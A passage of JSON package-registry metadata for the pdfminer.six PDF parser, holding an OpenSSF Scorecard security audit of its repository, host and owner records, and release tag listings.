https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30118934,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-05T09:35:22.236Z","status":"ssl_error","status_checked_at":"2026-03-05T09:35:20.028Z","response_time":93,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"repo_metadata_updated_at":"2026-03-05T10:09:52.200Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{},"purl":"pkg:nix/python314Packages.pdfminer-six?channel=unstable","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python314Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python314Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python314Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-02-27T22:00:46.722Z","issues_count":312,"pull_requests_count":184,"avg_time_to_close_issue":34677680.936,"avg_time_to_close_pull_request":7645520.625,"issues_closed_count":125,"pull_requests_closed_count":152,"pull_request_authors_count":57,"issue_authors_count":198,"avg_comments_per_issue":1.733974358974359,"avg_comments_per_pull_request":1.4130434782608696,"merged_pull_requests_count":117,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":66,"past_year_avg_time_to_close_issue":2331082.8095238097,"past_year_avg_time_to_close_pull_request":1628308.74,"past_year_issues_closed_count":21,"past_year_pull_requests_closed_count":50,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":0.9259259259259259,"past_year_avg_comments_per_pull_request":1.121212121212121,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python314Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":67,"html_url":null,"role":null,"created_at":"2026-03-05T10:06:27.701Z","updated_at":"2026-03-05T10:06:27.701Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-unstable","url":"https://channels.nixos.org/nixos-unstable","ecosystem":"nixpkgs","default":true,"packages_count":147106,"maintainers_count":4680,"namespaces_count":0,"keywords_count":2885,"github":"NixOS","metadata":{"funded_packages_count":1565},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:52.762Z","updated_at":"2026-05-15T05:01:34.865Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/namespaces"}},{"id":2724287,"name":"e.pdfminer.six","ecosystem":"pypi","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT/X","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["pdf parser","pdf converter","layout analysis","text mining"],"namespace":null,"versions_count":1,"first_release_published_at":"2019-12-16T09:06:22.000Z","latest_release_published_at":"2019-12-16T09:06:22.000Z","latest_release_number":"0.0.1","last_synced_at":"2026-05-05T21:19:54.580Z","created_at":"2022-04-10T10:54:02.295Z","updated_at":"2026-05-05T21:19:54.581Z","registry_url":"https://pypi.org/project/e.pdfminer.six/","install_command":"pip install e.pdfminer.six --index-url https://pypi.org/simple","documentation_url":"https://e.pdfminer.six.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Intended Audience :: Science/Research","License :: OSI Approved :: MIT License","Programming Language :: Python","Programming Language :: Python :: 2.6","Programming Language :: Python :: 2.7","Programming Language :: Python :: 3.4","Programming Language :: Python :: 3.5","Programming Language :: Python :: 3.6","Topic :: Text Processing"],"normalized_name":"e-pdfminer-six","project_status":null},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name"